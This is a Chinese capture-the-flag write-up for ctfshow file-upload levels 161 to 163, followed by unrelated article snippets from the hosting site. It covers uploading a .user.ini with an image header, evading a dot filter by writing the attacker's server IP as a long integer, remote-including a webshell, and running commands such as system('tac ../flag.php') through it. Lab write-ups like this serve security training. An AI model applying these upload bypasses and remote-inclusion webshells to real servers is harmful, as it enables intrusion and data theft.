ctfshow-web入门-文件上传(web161、web162、web163)远程包含

目录

1、web161

2、web162

3、web163


1、web161

先传配置文件,可以上传成功

因为我前面给的 .user.ini 都是带了图片头 GIF89a 的,前面的题这个图片头可以去掉,但是在这里如果去掉是不行的。

因此后面上传的东西我们都带上这个图片头:

采用伪协议读取 flag.php

访问 upload 目录:

base64 解码

拿到 flag:ctfshow{85cc388e-a505-4da9-943a-9bf970de0d43}

2、web162

配置文件无法上传 

进行模糊测试后,发现是点被过滤掉了

那么我们上传的文件名就不使用后缀即可:这里以 test 为例

但是我们上传的内容里也无法使用点,因此日志文件包含和伪协议读取的方法都无法使用。

这里我们让其包含远程服务器上的木马:

下面打码部分为我自己服务器 ip 地址的长整型格式 

转换脚本:

#IP转换为长整型
def ip2long(ip):
    ip_list=ip.split('.') #⾸先先把ip的组成以'.'切割然后逐次转换成对应的⼆进制
    result = 0
    for i in range(4): #0,1,2,3
        result = result+int(ip_list[i])*256**(3-i)
    return result

#长整型转换为IP
def long2ip(long):
    floor_list = []
    num = long
    for i in reversed(range(4)):
        res = divmod(num,256**i)
        floor_list.append(str(res[0]))
        num = res[1]
    return '.'.join(floor_list)

print(ip2long('服务器ip地址'))

上传这个 test:

先命名为 test.png,绕过前端后抓包改回 test 再上传

访问 upload 目录:

报错

Warning: include(http://795707305/shell): failed to open stream: HTTP request failed! HTTP/1.1 400 Bad Request in /var/www/html/upload/test on line 2

Warning: include(): Failed opening 'http://795707305/shell' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/upload/test on line 2

默认情况下,PHP 配置通常不允许通过 include 或 require 语句包含外部 URL,所以我也不清楚它这里服务器上 php 的配置文件是否允许远程包含。

看了下我自己服务器的,这个选项确实是关闭的:

看了下网上其他师傅是可以的,但是不知道为啥我这里就是不行:

后面又去 b 站看了下视频,发现它远程包含的就是一个 php 文件,而我这里包含的 shell 是一个纯文本的东西,我最开始以为是将这段内容包含进了 index.php 的代码里,所以就没有考虑它不是 php 后缀是否可以正常解析的问题。

如何在没有 .php 后缀下又让它被当做 php 文件解析呢?

于是我将木马命名为 index.php,即首页文件

原以为这样我们就只需要包含 ip 地址,就可以包含到 index.php

但是测了一下,也是没有包含成功。

后面问了群里的师傅,说用 flask,我原本用的是 Apache 搭的服务,重置了服务器,Apache 和 php 其实都是刚下的,可能还需要配置点什么吧,不清楚,因此我们将木马放到 flask 服务上去。

这里也懒得传两次了,直接将要包含的 shell 放到 .user.ini 里面:(是可以这样进行包含的)

之后访问 upload:

没有出告警,说明这次应该是包含成功了

调用木马:

折腾死我了,终于拿到 flag:ctfshow{6309f5e7-6b49-4d9a-8ef3-26afc5d85754} 

3、web163

和上一题一样的方法,而且这里如果传图片的话会被删掉,还只能将包含的 shell 位置直接放在配置文件里,而不能分开传。

访问 upload :

/upload/?cmd=system('ls');

/upload/?cmd=system('tac ../flag.php');

拿到 flag:ctfshow{1ccc238f-dfc2-4209-9c52-4fa46184d51e}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/786469.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【CUDA|CUDNN】安装

every blog every motto: You can do more than you think. https://blog.csdn.net/weixin_39190382?typeblog 0. 前言 显卡驱动安装参考之前的文章 cuda、cudnn 安装 1. cuda 安装 访问https://developer.nvidia.com/cuda-toolkit-archive 选择需要的版本:h…

昇思25天学习打卡营第13天|应用实践之ResNet50迁移学习

基本介绍 今日的应用实践的模型是计算机实践领域中十分出名的模型----ResNet模型。ResNet是一种残差网络结构,它通过引入“残差学习”的概念来解决随着网络深度增加时训练困难的问题,从而能够训练更深的网络结构。现很多网络极深的模型或多或少都受此影响…

Gartner发布采用美国防部模型实施零信任的方法指南:七大支柱落地方法

零信任是网络安全计划的关键要素,但制定策略可能会很困难。安全和风险管理领导者应使用美国国防部模型的七大支柱以及 Gartner 研究来设计零信任策略。 战略规划假设 到 2026 年,10% 的大型企业将拥有全面、成熟且可衡量的零信任计划,而 202…

分享五款软件,成为高效生活的好助手

​ 给大家分享一些优秀的软件工具,是一件让人很愉悦的事情,今天继续带来5款优质软件。 1.图片放大——Bigjpg ​ Bigjpg是一款图片放大软件,采用先进的AI算法,能够在不损失图片质量的前提下,将低分辨率图片放大至所需尺寸。无论…

STM32CubeIDE离线汉化教程

按照网上的方法下载好ZIP文件后 帮助->安装新软件-> 按顺序选择文件 点击完成,后等待右下脚的精度条到位即可

浮动刹车盘和固定刹车盘有什么区别

在讨论刹车系统的设计理念时,浮动和固定刹车盘无疑是两个重要的分支。 它们各自拥有独特的设计哲学、工作原理以及适用场景,这些差异直接影响到了制动系统的性能和耐久性。 浮动刹车盘和固定刹车盘在设计和工作原理上有显著的区别,主要体现在…

Linux: 命令行参数和环境变量究竟是什么?

Linux: 命令行参数和环境变量究竟是什么? 一、命令行参数1.1 main函数参数意义1.2 命令行参数概念1.3 命令行参数实例 二、环境变量2.1 环境变量概念2.2 环境变量:PATH2.2.1 如何查看PATH中的内容2.2.2 如何让自己的可执行文件不带路径运行 2.3 环境变量…

自动化立体仓库设计步骤:7步

导语 大家好,我是社长,老K。专注分享智能制造和智能仓储物流等内容。 完整版文件和更多学习资料,请球友到知识星球【智能仓储物流技术研习社】自行下载 这份文件是关于自动化立体仓库设计步骤的详细指南,其核心内容包括以下几个阶…

如何禁用键盘上的特定键或快捷方式?这里有详细步骤

要禁用特定的键盘键或快捷键吗?微软官方应用程序Microsoft PowerToys使这项任务变得非常简单。以下是使用Microsoft PowerToys中的键盘管理器禁用特定键或快捷方式的快速指南。 如果你还没有安装Microsoft PowerToys 如果你的设备上没有安装Microsoft PowerToys&a…

新能源汽车推广 - 世媒讯软文发稿需要注意什么

在环保意识日益增强和政策支持的背景下,新能源汽车市场迎来了前所未有的发展机遇。对于新能源汽车企业而言,如何有效地推广产品成为了关键。而软文发稿作为一种重要的营销手段,能够通过内容的形式潜移默化地影响消费者的认知和决策。那么&…

由于找不到emp.dll无法运行游戏的多个有效解决方法分享

在玩游戏时候是否遇到过找不到emp.dll,无法继续执行代码问题无法打开游戏?那么这个emp.dll是什么呢?为什么会丢失,emp.dll丢失要怎么办?今天就给大家详细介绍一下emp.dll文件与emp.dll丢失的多个解决方法! 一、emp.dll…

【AI技术的未来之路】从模型到应用,跨越超级应用陷阱,迈向个性化智能体

💓 博客主页:倔强的石头的CSDN主页 📝Gitee主页:倔强的石头的gitee主页 ⏩ 文章专栏:《热点时事》 期待您的关注 ​ 目录 引言 一、AI技术应用场景探索: 二、避免超级应用陷阱的策略: 三、个…

PaddleVideo:Squeeze Time算法移植

参考PaddleVideo/docs/zh-CN/contribute/add_new_algorithm.md at develop PaddlePaddle/PaddleVideo GitHubAwesome video understanding toolkits based on PaddlePaddle. It supports video data annotation tools, lightweight RGB and skeleton based action recognitio…

[数仓]七、离线数仓(PrestoKylin即席查询)

第1章 Presto 1.1 Presto简介 1.1.1 Presto概念 1.1.2 Presto架构 1.1.4 Presto、Impala性能比较 Presto、Impala性能比较_presto和impala对比-CSDN博客 测试结论:Impala性能稍领先于Presto,但是Presto在数据源支持上非常丰富,包括Hive、图数据库、传统关系型数据库、Re…

Codeforces Round 956 F. array-value 【01Trie查询异或最小值】

题意 给定一个非负整数数组 a a a 对每个长度至少为 2 2 2 的子数组&#xff0c;定义其权值为&#xff1a;子数组内两两异或值最小值 即 b ⊂ a [ l , r ] , w ( b ) min ⁡ l ≤ i < j ≤ r { a i ⨁ a j } b \subset a[l, r], \quad w(b) \min_{l \leq i < j \le…

谷歌账号被停用怎么办?立刻申诉!申诉流程和经验、中英文申诉信模板

很多鞥有这两年新注册的Google账号或者购买的谷歌账号&#xff0c;在使用时可能都遇到过被停用的情况。极端的还有刚注册号&#xff0c;反手就被谷歌 停用了&#xff0c;或者被连续停用。 今天我们就来聊一聊&#xff0c;谷歌账号为什么会被停用&#xff0c;以及谷歌账号被停用…

走拼箱货必看海运拼箱的实用技巧

在国际海运运输中&#xff0c;海运拼箱适用于货物数量较少或体积不足以填满整个集装箱的情况。 海运拼箱货物通常由物流公司或货代进行组织和管理。多个货主的货物通过合理拼装&#xff0c;使集装箱空间得到充分利用。 那么&#xff0c;在海运拼箱和整柜有哪些不同&#xff0c…

淘宝商品历史价格查询(免费)

当前资料来源于网络&#xff0c;禁止用于商用&#xff0c;仅限于学习。 淘宝联盟里面就可以看到历史价格 并且没有加密 淘宝商品历史价格查询可以通过以下步骤进行&#xff1a; 先下载后&#xff0c;登录app注册账户 打开淘宝网站或淘宝手机App。在搜索框中输入你想要查询的商…

Qt 线程 QThread类详解

Qt 线程中QThread的使用 在进行桌面应用程序开发的时候&#xff0c; 假设应用程序在某些情况下需要处理比较复杂的逻辑&#xff0c; 如果只有一个线程去处理&#xff0c;就会导致窗口卡顿&#xff0c;无法处理用户的相关操作。这种情况下就需要使用多线程&#xff0c;其中一个…

亚马逊云科技EC2简明教程

&#x1f4a1; 完全适用于新手操作的Amazon EC2引导教程 简述 在亚马逊云科技中&#xff0c;存在多种计算服务&#xff0c;在此&#xff0c;我们将会着重讨论Amazon EC2(以下简称EC2)&#xff0c;EC2作为亚马逊云科技的明星产品、核心产品&#xff0c;是大多数开发者和企业用…